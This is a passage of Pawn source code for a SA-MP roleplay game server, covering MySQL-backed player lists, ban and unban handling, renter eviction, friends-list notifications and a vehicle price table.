	new longstr[1512],tmp[MAX_PLAYER_NAME+1],str[32],ons,ontxt[10];
	format(longstr,sizeof(longstr),"Name\t\tLevel\t\tStatus");
	for(new i=0;i<rows;i++)
	{
       cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   ons = cache_get_field_content_int(i,"pOnline");
	   if(ons == 0) ontxt = "Offline";
	   if(ons == 1) ontxt = "Online";
	   if(ons == 2) ontxt = "Sleep";
	   format(str,sizeof(str),"\n%s\t\t\t%i\t\t\t%s",tmp,cache_get_field_content_int(i,"pLevel"),ontxt);
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,1245,DIALOG_STYLE_TABLIST_HEADERS,"This referral users:",longstr,"Done","");
	return 1;
}
*/
function ShowRefff(playerid, myref)
{
    new rows = cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: No body used your referral.");
	new longstr[1512],tmp[MAX_PLAYER_NAME+1],str[32],ons,ontxt[10];
	format(longstr,sizeof(longstr),"Name\t\tLevel\t\tStatus");
	for(new i=0;i<rows;i++)
	{
       cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   ons = cache_get_field_content_int(i,"pOnline");
	   if(ons == 0) ontxt = "Offline";
	   if(ons == 1) ontxt = "Online";
	   if(ons == 2) ontxt = "Sleep";
	   format(str,sizeof(str),"\n%s\t\t\t%i\t\t\t%s",tmp,cache_get_field_content_int(i,"pLevel"),ontxt);
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,1245,DIALOG_STYLE_TABLIST_HEADERS,"Your referral users:",longstr,"Done","");
	return 1;
}
function ShowAdmins(playerid)
{
	new longstr[256],rows=cache_num_rows(),tmp[MAX_PLAYER_NAME+1],str[32];
	format(longstr,sizeof(longstr),"Name\t\tLevel");
	for(new i=0;i<rows;i++)
	{
	   cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   format(str,sizeof(str),"\n%s\t\t\t%i",tmp,cache_get_field_content_int(i,"pAdmin"));
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,85,DIALOG_STYLE_TABLIST_HEADERS,"All admins:",longstr,"Done","");
	return 1;
}
function ShowSpos(playerid)
{
	new longstr[256],rows=cache_num_rows(),tmp[MAX_PLAYER_NAME+1],str[32];
	format(longstr,sizeof(longstr),"Name");
	for(new i=0;i<rows;i++)
	{
	   cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   format(str,sizeof(str),"\n%s\t\t\t",tmp,cache_get_field_content_int(i,"pSponser"));
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,85,DIALOG_STYLE_TABLIST_HEADERS,"All sponsers:",longstr,"Done","");
	return 1;
}
function ShowLeaders(playerid)
{
	new longstr[1512],rows=cache_num_rows(),tmp[MAX_PLAYER_NAME+1],str[64];
	format(longstr,sizeof(longstr),"Name\tFaction");
	for(new i=0;i<rows;i++)
	{
	   cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   format(str,sizeof(str),"\n%s\t%s",tmp,GetFacName(cache_get_field_content_int(i,"pLeader")));
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,85,DIALOG_STYLE_TABLIST_HEADERS,"All leaders:",longstr,"Done","");
	return 1;
}
function ShowMyMembers(playerid)
{
	new longstr[2048],rows=cache_num_rows(),tmp[MAX_PLAYER_NAME+1],status,statustxt[20],str[64];
	format(longstr,sizeof(longstr),"Name\tRank\tStatus");
	for(new i=0;i<rows;i++)
	{
       status = cache_get_field_content_int(i,"pOnline");
       if(status == 0) statustxt = "Offline";
       if(status == 1) statustxt = "Online";
       if(status == 2) statustxt = "Sleep";
	   cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   format(str,sizeof(str),"\n%s\tRank %d\t%s",tmp,cache_get_field_content_int(i,"pRank"),statustxt);
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,6573,DIALOG_STYLE_TABLIST_HEADERS,"All of your members",longstr,"Done","");
	return 1;
}
/*
function ShowMyMembers(playerid)
{
new getfacid;
new curfac;
new realsql;
	if(PINFO[playerid][pLeader] >= 1) getfacid = 1;
	if(PINFO[playerid][pLeader] == 0 && PINFO[playerid][pRank] != 0) getfacid = 2;
	if(getfacid == 1)
	{
	curfac = PINFO[playerid][pLeader];
	}
	if(getfacid == 2)
	{
	curfac = PINFO[playerid][pMember];
	}
	realsql = (curfac-1);
	new title[2048];
	new rows=cache_num_rows(),tmp[MAX_PLAYER_NAME+1],str[64];
	format(title, sizeof(title), "Faction: %s{A9C4E4} | Members: %d/%d | Minimum Level To Join: %d | Status: %s", GetFacName(curfac), GetFactionMembers(realsql), DynamicFactions[realsql][fMaxMembers], DynamicFactions[realsql][fMinLevel], (DynamicFactions[realsql][fApplication] > 0) ? ("Locked") : ("UnLocked"));
	for(new i=0;i<rows;i++)
	{
	   cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   format(str,sizeof(str),"\n%s\tRank %d",tmp, cache_get_field_content_int(i,"pRank"));
	   strcat(title,str);
	}
	ShowPlayerDialog(playerid,6573,DIALOG_STYLE_TABLIST_HEADERS,"Manage Your Faction",title,"Select","Close");
	return 1;
}
*/
UnBanPlayer(bannerid,taraf[])
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnPlayerUnBan", "is", bannerid, taraf);
	return 1;
}
function OnPlayerUnBan(bannerid, taraf[])
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(bannerid, COLOR_GG,"That player isn't exists.");
	new Data[1];
	Data[0]=cache_get_field_content_int(0,"pBanned");
	new banshode = Data[0];
	if(banshode == 0) return SCM(bannerid, COLOR_YELLOW2, "Error: This player is not banned.");
	new ip[50];
	cache_get_row(0, 77, ip, handle, 50);
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pBanned='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"DELETE FROM `banneds` WHERE IP='%e'",ip);
	mysql_function_query(handle,query,false,"SendQuery","");
	SCM(bannerid,COLOR_SINA3,"That player successfully get unbanned.");
	ReadAccountBar();
	new string[100];
	format(string, 100, "[Admin-Warn]: {FFFFFF}Admin %s has unbanned player %s", RPName(bannerid), taraf);
	ABroadCast(COLOR_AdminWarn,string,1);
	return 1;
}
stock CheckIfPBanned(playerid)
{
	new query[256];
	mysql_format(handle, query,256,"SELECT * FROM `banneds` WHERE IP='%e'",PlayerInfo[playerid][pIp]);
	mysql_function_query(handle,query,true,"CheckPBanned","i",playerid);
	return 1;
}
forward CheckPBanned(playerid);
public CheckPBanned(playerid)
{
	if(!cache_get_row_count(handle)) {return 0;}
	PBANNED[playerid] = 1;
	new bannedby[40],banreason[1000],bannedtime[260];
	cache_get_row(0,1,bannedby,handle,40);
	cache_get_row(0,2,banreason,handle,1000);
	cache_get_row(0,3,bannedtime,handle,260);
	new sttr[200];
	for(new i = 0;i<100;i++) SCM(playerid,COLOR_WHITE," ");
	format(sttr,200,"You are Permanently banned from this server by %s",bannedby);
	SCM(playerid,COLOR_BAN,sttr);
	format(sttr,200,"Ban Reason: %s (%s)",banreason,bannedtime);
	SCM(playerid,COLOR_BAN,sttr);
	new FeIze[256];
	format(FeIze, sizeof(FeIze), "Type a unban info and send it to %s %s UnBan Topic.", SERVER_NAME1, SERVER_NAME2);
	KickWithMessage(playerid,COLOR_BAN,FeIze);
	return 1;
}
ReadAkharAcc()
{
mysql_function_query(handle,"SELECT * FROM `server`",true,"UpdateAkharinAcc","");
return 1;
}
UpdateAkharAcc(playerid)
{
new query[256];
if(bayadclearbashe == 0)
{
mysql_format(handle, query,256,"UPDATE `server` SET LastAccount='%e'",PlayerInfo[playerid][pName]);
mysql_function_query(handle,query,false,"SendQuery","");
}
if(bayadclearbashe == 1)
{
new clearkon[8];
clearkon = "Cleared"
mysql_format(handle, query,256,"UPDATE `server` SET LastAccount='%e'",clearkon);
mysql_function_query(handle,query,false,"SendQuery","");
}
ReadAccountBar();
return 1;
}
forward UpdateAkharinAcc();
public UpdateAkharinAcc()
{
	cache_get_row(0,3,jadidacc,handle,40);
	MostPlayersOnline = cache_get_row_int(0,4,handle);
	ReadTeadadeAcc();
	return 1;
}
ReadTeadadeAcc()
{
mysql_function_query(handle,"SELECT * FROM `users`",true,"ReadTeadadeAccount","");
return 1;
}
ReadTeadadeBan()
{
mysql_function_query(handle,"SELECT * FROM `banneds`",true,"ReadTeadadeBanneds","");
return 1;
}
forward ReadTeadadeBanneds();
public ReadTeadadeBanneds()
{
//teadadeban = cache_get_row_count();
new hour,minute,sec,day,month,year;
gettime(hour,minute,sec);
getdate(year,month,day);
new accstr[700];
format(accstr,700,"Accounts: ~y~%s ~w~/ Newest account: ~y~%s ~w~/ Most players online: ~y~%d ~w~(%s)",FormatNumber(teadadacc),jadidacc,MostPlayersOnline,DateOfRekord);// Again fixed by Sina
TextDrawSetString(AccountBar,accstr);
return 1;
}
forward ReadTeadadeAccount();
public ReadTeadadeAccount()
{
teadadacc = cache_get_row_count();
ReadTeadadeBan();
return 1;
}
ReadAccountBar()
{
	ReadAkharAcc();
}
RegisterSteps(playerid)
{
	//PlayerPlaySound(playerid, 1069, 0.0, 0.0, 0.0);
	gOoc[playerid] = 1; gNews[playerid] = 1; gFam[playerid] = 1;
	SetPlayerVirtualWorld(playerid, (playerid + 1));
	TogglePlayerSpectating(playerid,0);
	SetPlayerKoon(true, playerid, 100.0);
	TogglePlayerControllable(playerid, 0);
	Mahal[playerid] = 9999;
	TooHouse[playerid] = 9999;
	TooBiz[playerid] = 9999;
    SetToWaitingToJoin(playerid);
	ShowPlayerDialog(playerid,418,DIALOG_STYLE_MSGBOX,"Language / Zaban","Please select a language to continue.\nLotfan yek zaban baraye edame entekhab konid.","Persian", "English");
	return 1;
}
EvictAllFromPlayerHouse(playerid)
{
	if(PINFO[playerid][pPhousekey] == 9999) return SCM(playerid,COLOR_Good,"You don't own a house.");
	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PINFO[i][pPhousekey] == PINFO[playerid][pPhousekey] && i != playerid)
		  {
			 PINFO[i][pPhousekey] = 9999;
			 SaveKonVal(i, "pPhousekey", 9999);
				/*
			 if(PINFO[i][gParked] == 1)
			 {
				CreateVehGarage(i);
				SCM(i,COLOR_Good,"Your first car have been evicted from the parking.");
			 }
			 if(PINFO[i][gParked_2] == 1)
			 {
				CreateVehGarage_2(i);
				SCM(i,COLOR_Good,"Your first car have been evicted from the parking.");
			 }
				*/
		  }
	   }
	}
	new
	   query[ 512 ];
	mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pPhousekey`='9999' WHERE `pName` != '%e' AND `pPhousekey`='%d'", PINFO[playerid][pName], PINFO[playerid][pPhousekey]);
	mysql_function_query(handle,query,false,"SendQuery","");
	SCM(playerid,COLOR_Good,"All renters evicted from your house.");
	return 1;
}
CurrentTime()
{
  new get[6],time[60];
  getdate(get[0],get[1],get[2]);
  gettime(get[3],get[4],get[5]);
  format(time,sizeof(time),"%d/%02d/%02d %02d:%02d:%02d",get[0],get[1],get[2],get[3],get[4],get[5]);
  return time;
}
EvictAllFromHouse(houseid)
{
	for(new i = 0;i<Akharish;i++)
	{
	if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	{
	if(PINFO[i][pPhousekey] == houseid)
	{
	PINFO[i][pPhousekey] = 9999;
	SaveKonVal(i, "pPhousekey", 9999);
	/*
	if(PINFO[i][gParked] == 1)
	{
	   CreateVehGarage(i);
	   SCM(i,COLOR_Good,"Your first car have been evicted from the parking.");
	}
	if(PINFO[i][gParked_2] == 1)
	{
	   CreateVehGarage_2(i);
	   SCM(i,COLOR_Good,"Your first car have been evicted from the parking.");
	}
	*/
	//SaveAccount(i);
	}
	}
	}
	new
	   query[ 512 ]
				;
	format( query, sizeof query, "UPDATE `users` SET pPhousekey='9999',gParked='0',gParked_2='0' WHERE pPhousekey='%d'", houseid);
	mysql_function_query(handle,query,false,"SendQuery","");
	return 1;
}
CountFriends(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE `pName`='%e'",PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"OnCF","i",playerid);
	return 1;
}
forward OnCF(playerid);
public OnCF(playerid)
{
	new
	   countt=0, f, rows = cache_get_row_count(handle);
	   if(rows == 0) return CountF[playerid] = 0;
	   for(new i = 0;i<rows;i++)
	   {
		  countt++;
		  new tarafname[40];
		  cache_get_row(i,2,tarafname,handle,40);
		  new tarafid = ReturnUser2(tarafname);
		  if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1)
		  {
		  f++;
		  }
			CountF[playerid] = f;
	   }
	   KolFriends[playerid]=countt;
	   return 1;
}
SendOnlineF(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pFriend='%e'",PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"SON","i",playerid);
	return 1;
}
forward SOF(playerid);
public SOF(playerid)
{
	new rows = cache_get_row_count(handle);
	   if(rows == 0) return 1;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];
		  cache_get_row(i,1,tarafname,handle,40);
		  new tarafid = ReturnUser2(tarafname);
		  if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1)
		  {
			 new friend[512];
				format(friend, sizeof(friend), "%s (%d) ~n~has gone ~r~offline.",PlayerInfo[playerid][pName],playerid);
				PlayerTextDrawSetString(tarafid, Friend[tarafid], friend);
				//TextDrawShowForPlayer(tarafid, Friend2);
				PlayerTextDrawShow(tarafid, Friend[tarafid]);
				SetTimerEx("hidefr", 5000, false, "i", tarafid);
		  }
	   }
	   return 1;
}
SendOfflineF(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pFriend='%e'",PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"SOF","i",playerid);
	return 1;
}
forward SON(playerid);
public SON(playerid)
{
	new rows = cache_get_row_count(handle);
	   if(rows == 0) return 1;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];
		  cache_get_row(i,1,tarafname,handle,40);
		  new tarafid = ReturnUser2(tarafname);
		  if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1)
		  {
			 new friend[512];
				format(friend, sizeof(friend), "%s (%d) ~n~has came ~g~online.",PlayerInfo[playerid][pName],playerid);
				PlayerTextDrawSetString(tarafid, Friend[tarafid], friend);
				//TextDrawShowForPlayer(tarafid, Friend2);
				PlayerTextDrawShow(tarafid, Friend[tarafid]);
				SetTimerEx("hidefr", 5000, false, "i", tarafid);

		  }
	   }
	   return 1;
}
NeshoonBedeBans(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pBanned != '0' ORDER BY pBanTime DESC LIMIT 30");
	mysql_function_query(handle,query,true,"OnBansNeshoonMide","i",playerid);
	return 1;
}
NeshoonBedeRenters(playerid)
{
	new
	   house = PINFO[playerid][pPhousekey],
	   query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pPhousekey='%d' AND pName!='%e'",house,PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"OnRentersNeshoonMide","i",playerid);
	return 1;
}
NeshunFriend(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pName='%e' AND pID='%d'",PINFO[playerid][pName],Sqlf[playerid]);
	mysql_function_query(handle,query,true,"OnNeshunFriend","i",playerid);
	return 1;
}
forward OnNeshunFriend(playerid);
public OnNeshunFriend(playerid)
{

	new rows = cache_get_row_count(handle);
//		new str[256];
//		new f;
//		new strlol[2000];
		//new sqlid;
		//new list;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];
		  cache_get_row(i,2,tarafname,handle,40);
			//sqlid = cache_get_row_int(i,0,handle);
			//list = cache_get_row_int(i,4,handle);
			//Sqlf[playerid] = list;
		  new tarafid = ReturnUser2(tarafname);
			//Sqlf[playerid] = sqlid;

		  if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1 && PINFO[playerid][pJob] == 1)
		  {
				ShowPlayerDialog(playerid, 2154, DIALOG_STYLE_LIST, "Friends List", "{FF0000}Remove From List \t\n{FFFFFF}Call \t\nSMS \t\nFind", "Select", "Cancel");
				//new ss[512];
				//format(ss, sizeof(ss), "sqlid: %d Sqlf: %d pOnline: %d on",sqlid,Sqlf[playerid],fInfo[sqlid][pOnline]);
				//SCM(playerid, COLOR_RED, ss);
		  }
			else if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1 && PINFO[playerid][pJob] != 1)
		  {
				ShowPlayerDialog(playerid, 2154, DIALOG_STYLE_LIST, "Friends List", "{FF0000}Remove From List \t\n{FFFFFF}Call \t\nSMS", "Select", "Cancel");
				//new ss[512];
				//format(ss, sizeof(ss), "sqlid: %d Sqlf: %d pOnline: %d on",sqlid,Sqlf[playerid],fInfo[sqlid][pOnline]);
				//SCM(playerid, COLOR_RED, ss);
		  }
		  else
		  {
			 ShowPlayerDialog(playerid, 2154, DIALOG_STYLE_LIST, "Friends List", "Remove From List", "Select", "Cancel");
				//new ss[512];
				//format(ss, sizeof(ss), "sqlid: %d Sqlf: %d pOnline: %d off",sqlid,Sqlf[playerid],fInfo[sqlid][pOnline]);
				//SCM(playerid, COLOR_RED, ss);
		  }


	   }
	   return 1;
}
/*
BeguTSS(playerid)
{
	new query[ 512 ];
   mysql_format(handle, query,512,"SELECT * FROM `users` WHERE `pClan`='%d' ORDER BY `pSprays` DESC LIMIT 5",PlayerInfo[playerid][pClan]);
	mysql_function_query(handle,query,true,"BeguTSS2","i",playerid);
	return 1;
}
*/
forward BeguTSS2(playerid);
public BeguTSS2(playerid) {

new rows = cache_get_row_count(handle);

		new strlol[2000],strlol2[128];
		new tedad = 1;
	   for(new i = 0;i<rows;i++)
	   {
			new rank,sprays,ranks[11],tarafname[40];
		  cache_get_row(i,0,tarafname,handle,40);
			sprays = cache_get_row_int(i,136,handle);
			rank = cache_get_row_int(i, 86, handle);
			if(rank == 6) {ranks = "Leader";}
			else if(rank == 5) {ranks = "Sub-Leader";}
			else {format(ranks, sizeof(ranks), "%d",rank);}
			format(strlol2, 128,"%dst. %s with %d spray in rank %s\n",tedad,tarafname,sprays,ranks);
			strcat(strlol, strlol2, 2000);

			tedad++;
		}
		ShowPlayerDialog(playerid, 8520, DIALOG_STYLE_MSGBOX, "Top Sprays", strlol, "Ok!", "");
return 1;
}
BegirFriends(playerid)
{
	new query[ 512 ];
   mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pName='%e'",PlayerInfo[playerid][pName]);
	mysql_function_query(handle,query,true,"OnBegirFriends","i",playerid);
	return 1;
}
UpdateFriend(playerid)
{
	new query[ 512 ];
   mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pName='%e' AND pID>'%d'",PlayerInfo[playerid][pName],Sqlf[playerid]);
	mysql_function_query(handle,query,true,"UpdateFr","i",playerid);
	return 1;
}
forward UpdateFr(playerid);
public UpdateFr(playerid)
{

		new rows = cache_get_row_count(handle);
		new sqlid;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];

		  cache_get_row(i,2,tarafname,handle,40);
			sqlid = cache_get_row_int(i,0,handle);
			new pid = cache_get_row_int(i,4,handle);
			new r = pid-1;
			new query[512];
			mysql_format(handle, query, 512, "UPDATE `friends` SET pID='%d' WHERE pID>'%d'",r,Sqlf[playerid]);
			mysql_tquery(handle, query, "SendQuery", "");

			fInfo[sqlid][pID] -= 1;


			Wait[playerid] = 0;

	   }
	   return 1;
}
FindKon(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pID='%d' AND pName='%e'",Sqlf[playerid],PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"OnFindKon","i",playerid);
	return 1;
}
forward OnFindKon(playerid);
public OnFindKon(playerid)
{

		new rows = cache_get_row_count(handle);
	   if(rows == 0) return SCM(playerid, COLOR_YELLOW2, "Error: An error occurred.");
//		new sqlid;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];

		  cache_get_row(i,2,tarafname,handle,40);
//			sqlid = cache_get_row_int(i,0,handle);
		  new tarafid = ReturnUser2(tarafname);

			new call[40];
			format(call, 40, "/find %i", tarafid);
			OnPlayerCommandText(playerid, call);

	   }
	   return 1;
}

ZangBezan(playerid)
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pID='%d' AND pName='%e'",Sqlf[playerid],PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"OnZangBezan","i",playerid);
	return 1;
}


forward OnZangBezan(playerid);
public OnZangBezan(playerid)
{

		new rows = cache_get_row_count(handle);
	   if(rows == 0) return SCM(playerid, COLOR_YELLOW2, "Error: An error occurred.");
//		new sqlid;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];

		  cache_get_row(i,2,tarafname,handle,40);
//			sqlid = cache_get_row_int(i,0,handle);
		  new tarafid = ReturnUser2(tarafname);

			new call[40];
			format(call, 40, "/call %i", PINFO[tarafid][pPnumber]);
			OnPlayerCommandText(playerid, call);

	   }
	   return 1;
}
// OkKon By SiNaGaMeR
okkon(playerid, id) {// By SiNaGaMeR
switch(id) {// Removed items SiNaGaMeR
			case 1: { IWantCar[playerid] = 509; PriceCar[playerid] = 15000; VehModKharid[playerid] = 0;} // bike
		  case 2: { IWantCar[playerid] = 481; PriceCar[playerid] = 15000; VehModKharid[playerid] = 0;}
		  case 3: { IWantCar[playerid] = 510; PriceCar[playerid] = 25000; VehModKharid[playerid] = 0;}
		  case 4: { IWantCar[playerid] = 462; PriceCar[playerid] = 29000; VehModKharid[playerid] = 0;}
		  case 5: { IWantCar[playerid] = 404; PriceCar[playerid] = 38000; VehModKharid[playerid] = 0;}
		  case 6: { IWantCar[playerid] = 413; PriceCar[playerid] = 46000; VehModKharid[playerid] = 0;}
		  case 7: { IWantCar[playerid] = 527; PriceCar[playerid] = 57000; VehModKharid[playerid] = 0;}
		  case 8: { IWantCar[playerid] = 410; PriceCar[playerid] = 66000; VehModKharid[playerid] = 0;}
		  case 9: { IWantCar[playerid] = 418; PriceCar[playerid] = 72000; VehModKharid[playerid] = 0;}
		  case 10: { IWantCar[playerid] = 549; PriceCar[playerid] = 80000; VehModKharid[playerid] = 0;}
		  case 11: { IWantCar[playerid] = 422; PriceCar[playerid] = 100000; VehModKharid[playerid] = 0;}
		  case 12: { IWantCar[playerid] = 401; PriceCar[playerid] = 110000; VehModKharid[playerid] = 0;}
		  case 13: { IWantCar[playerid] = 543; PriceCar[playerid] = 135000; VehModKharid[playerid] = 0;}
		  case 14: { IWantCar[playerid] = 436; PriceCar[playerid] = 148000; VehModKharid[playerid] = 0;}
		  case 15: { IWantCar[playerid] = 542; PriceCar[playerid] = 155000; VehModKharid[playerid] = 0;}
		  case 16: { IWantCar[playerid] = 547; PriceCar[playerid] = 167000; VehModKharid[playerid] = 0;}
		  case 17: { IWantCar[playerid] = 400; PriceCar[playerid] = 175000; VehModKharid[playerid] = 0;}
		  case 18: { IWantCar[playerid] = 550; PriceCar[playerid] = 190500; VehModKharid[playerid] = 0;}
		  case 19: { IWantCar[playerid] = 466; PriceCar[playerid] = 200000; VehModKharid[playerid] = 0;}
		  case 20: { IWantCar[playerid] = 424; PriceCar[playerid] = 220000; VehModKharid[playerid] = 0;}
		  case 21: { IWantCar[playerid] = 439; PriceCar[playerid] = 245000; VehModKharid[playerid] = 0;}
		  case 22: { IWantCar[playerid] = 516; PriceCar[playerid] = 270000; VehModKharid[playerid] = 0;}
		  case 23: { IWantCar[playerid] = 473; PriceCar[playerid] = 285000; VehModKharid[playerid] = 1;}
		  case 24: { IWantCar[playerid] = 419; PriceCar[playerid] = 300000; VehModKharid[playerid] = 0;}
		  case 25: { IWantCar[playerid] = 467; PriceCar[playerid] = 330000; VehModKharid[playerid] = 0;}
		  case 26: { IWantCar[playerid] = 517; PriceCar[playerid] = 360000; VehModKharid[playerid] = 0;}
		  case 27: { IWantCar[playerid] = 474; PriceCar[playerid] = 390000; VehModKharid[playerid] = 0;}
		  case 28: { IWantCar[playerid] = 492; PriceCar[playerid] = 450000; VehModKharid[playerid] = 0;}
		  case 29: { IWantCar[playerid] = 518; PriceCar[playerid] = 490000; VehModKharid[playerid] = 0;}
		  case 30: { IWantCar[playerid] = 491; PriceCar[playerid] = 530000; VehModKharid[playerid] = 0;}
		  case 31: { IWantCar[playerid] = 496; PriceCar[playerid] = 550500; VehModKharid[playerid] = 0;}
		  case 32: { IWantCar[playerid] = 479; PriceCar[playerid] = 640000; VehModKharid[playerid] = 0;}
		  case 33: { IWantCar[playerid] = 526; PriceCar[playerid] = 685000; VehModKharid[playerid] = 0;}
		  case 34: { IWantCar[playerid] = 471; PriceCar[playerid] = 695000; VehModKharid[playerid] = 0;}
		  case 35: { IWantCar[playerid] = 545; PriceCar[playerid] = 710000; VehModKharid[playerid] = 0;}
		  case 36: { IWantCar[playerid] = 445; PriceCar[playerid] = 725000; VehModKharid[playerid] = 0;}
		  case 37: { IWantCar[playerid] = 412; PriceCar[playerid] = 742000; VehModKharid[playerid] = 0;}
		  case 38: { IWantCar[playerid] = 529; PriceCar[playerid] = 755000; VehModKharid[playerid] = 0;}
		  case 39: { IWantCar[playerid] = 540; PriceCar[playerid] = 770000; VehModKharid[playerid] = 0;}
		  case 40: { IWantCar[playerid] = 500; PriceCar[playerid] = 785000; VehModKharid[playerid] = 0;}
		  case 41: { IWantCar[playerid] = 603; PriceCar[playerid] = 792000; VehModKharid[playerid] = 0;}
		  case 42: { IWantCar[playerid] = 546; PriceCar[playerid] = 805000; VehModKharid[playerid] = 0;}
		  case 43: { IWantCar[playerid] = 458; PriceCar[playerid] = 813500; VehModKharid[playerid] = 0;}
		  case 44: { IWantCar[playerid] = 566; PriceCar[playerid] = 830500; VehModKharid[playerid] = 0;}
		  case 45: { IWantCar[playerid] = 405; PriceCar[playerid] = 865000; VehModKharid[playerid] = 0;}
		  case 46: { IWantCar[playerid] = 581; PriceCar[playerid] = 870000; VehModKharid[playerid] = 0;}
		  case 47: { IWantCar[playerid] = 421; PriceCar[playerid] = 897000; VehModKharid[playerid] = 0;}
		  case 48: { IWantCar[playerid] = 489; PriceCar[playerid] = 915000; VehModKharid[playerid] = 0;}
		  case 49: { IWantCar[playerid] = 463; PriceCar[playerid] = 931000; VehModKharid[playerid] = 0;}
		  case 50: { IWantCar[playerid] = 551; PriceCar[playerid] = 950000; VehModKharid[playerid] = 0;}
		  case 51: { IWantCar[playerid] = 468; PriceCar[playerid] = 970500; VehModKharid[playerid] = 0;}
		  case 52: { IWantCar[playerid] = 452; PriceCar[playerid] = 1000000; VehModKharid[playerid] = 1; }
		  case 53: { IWantCar[playerid] = 576; PriceCar[playerid] = 1175000; VehModKharid[playerid] = 0;}
		  case 54: { IWantCar[playerid] = 507; PriceCar[playerid] = 1181000; VehModKharid[playerid] = 0;}
		  case 55: { IWantCar[playerid] = 426; PriceCar[playerid] = 1210000; VehModKharid[playerid] = 0;}
		  case 56: { IWantCar[playerid] = 461; PriceCar[playerid] = 1226000; VehModKharid[playerid] = 0;}
		  case 57: { IWantCar[playerid] = 589; PriceCar[playerid] = 1345000; VehModKharid[playerid] = 0;}
		  case 58: { IWantCar[playerid] = 602; PriceCar[playerid] = 1446000; VehModKharid[playerid] = 0;}
		  case 59: { IWantCar[playerid] = 475; PriceCar[playerid] = 1557000; VehModKharid[playerid] = 0;}
		  case 60: { IWantCar[playerid] = 587; PriceCar[playerid] = 1560000; VehModKharid[playerid] = 0;}
		  case 61: { IWantCar[playerid] = 580; PriceCar[playerid] = 1563000; VehModKharid[playerid] = 0;}
		  case 62: { IWantCar[playerid] = 469; PriceCar[playerid] = 1570000; VehModKharid[playerid] = 2; }
		  case 63: { IWantCar[playerid] = 454; PriceCar[playerid] = 1573000; VehModKharid[playerid] = 1; }
		  case 64: { IWantCar[playerid] = 555; PriceCar[playerid] = 1675000; VehModKharid[playerid] = 0;}
		  case 65: { IWantCar[playerid] = 579; PriceCar[playerid] = 1612000; VehModKharid[playerid] = 0;}
		  case 66: { IWantCar[playerid] = 558; PriceCar[playerid] = 1630000; VehModKharid[playerid] = 0;}
		  case 67: { IWantCar[playerid] = 534; PriceCar[playerid] = 1630000; VehModKharid[playerid] = 0;}
		  case 68: { IWantCar[playerid] = 446; PriceCar[playerid] = 1640000; VehModKharid[playerid] = 1; }
		  case 69: { IWantCar[playerid] = 533; PriceCar[playerid] = 1762000; VehModKharid[playerid] = 0;}
		  case 70: { IWantCar[playerid] = 535; PriceCar[playerid] = 1796000; VehModKharid[playerid] = 0;}
		  case 71: { IWantCar[playerid] = 536; PriceCar[playerid] = 1835000; VehModKharid[playerid] = 0;}
		  case 72: { IWantCar[playerid] = 575; PriceCar[playerid] = 1845000; VehModKharid[playerid] = 0;}
		  case 73: { IWantCar[playerid] = 565; PriceCar[playerid] = 1913000; VehModKharid[playerid] = 0;}
		  case 74: { IWantCar[playerid] = 493; PriceCar[playerid] = 1816000; VehModKharid[playerid] = 1; }
		  case 75: { IWantCar[playerid] = 521; PriceCar[playerid] = 1823000; VehModKharid[playerid] = 0;}
		  case 76: { IWantCar[playerid] = 434; PriceCar[playerid] = 1840000; VehModKharid[playerid] = 0;}
		  case 77: { IWantCar[playerid] = 477; PriceCar[playerid] = 1900000; VehModKharid[playerid] = 0;}
